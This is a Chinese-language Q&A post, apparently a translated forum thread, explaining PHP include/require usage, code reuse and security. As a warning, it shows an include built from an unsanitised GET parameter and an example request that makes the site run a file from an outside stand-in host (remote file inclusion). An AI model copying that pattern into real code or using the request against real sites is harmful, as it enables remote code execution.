PHP include() or require()


PHP include() or require()

我了解include(),require(),include_once(),require_once()的功能和差异。

请有人告诉我它们在项目中的一些实际用途。我知道常用函数可以存储在单独的文件中,并且可以导入以提高可管理性。

它们的其他常见用法是什么,例如,在数据库访问等时?它们可以用来提高安全性等吗?

它主要用于代码可重用性 - 此页面总结得很好:

这是PHP的一个强项,它有助于创建可以在多个页面上重用的函数,页眉,页脚或元素。这将帮助开发人员轻松更改完整网站的布局。如果需要进行任何更改,则无需更改数千个文件,只需更改包含的文件即可。

它被用于许多基于PHP的platorm(Wordpress,Magento等),其中一个常见的用途是页眉和页脚。

更新

关于安全性

它们可以降低或提高安全性,具体取决于您使用它们的方式。远程文件包含是它如何降低页面安全性的一个示例。像这样:

<?php
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
require $page . '.php';
?>

想象一下,在 example.com/malice.php 存在一个文件,我们的脚本位于 site.com/index.php。攻击者将执行以下请求:site.com/index.php?page=www.example.com/malice。此文件将在包含时执行,并且可以将新文件写入磁盘。

可以提高安全性的示例:

<?php
// This script from your servers webroot
require '../public_index.php';
?>

这将从您的 webroot 外部访问文件。默认的 apache Web 用户没有权限查看 webroot 之外的任何内容,因此他们永远无法访问 public_index.php(除非他们获得了能够访问的用户的凭据 - 例如根)。

这种措施的实际应用是Wordpress的wp-config.php文件,该文件可以放置在服务器webroot之外。

简要说明,概述使用 require 和 require_once 之间的区别

require()包含和评估特定文件,而 require_once() 仅在之前未包含(在同一页面上)时才这样做。

因此,当您想要包含具有很多功能的文件时,建议使用require_once()。这样,您可以确保不会多次包含该文件,并且不会收到"函数重新声明"错误。

我希望这有所帮助。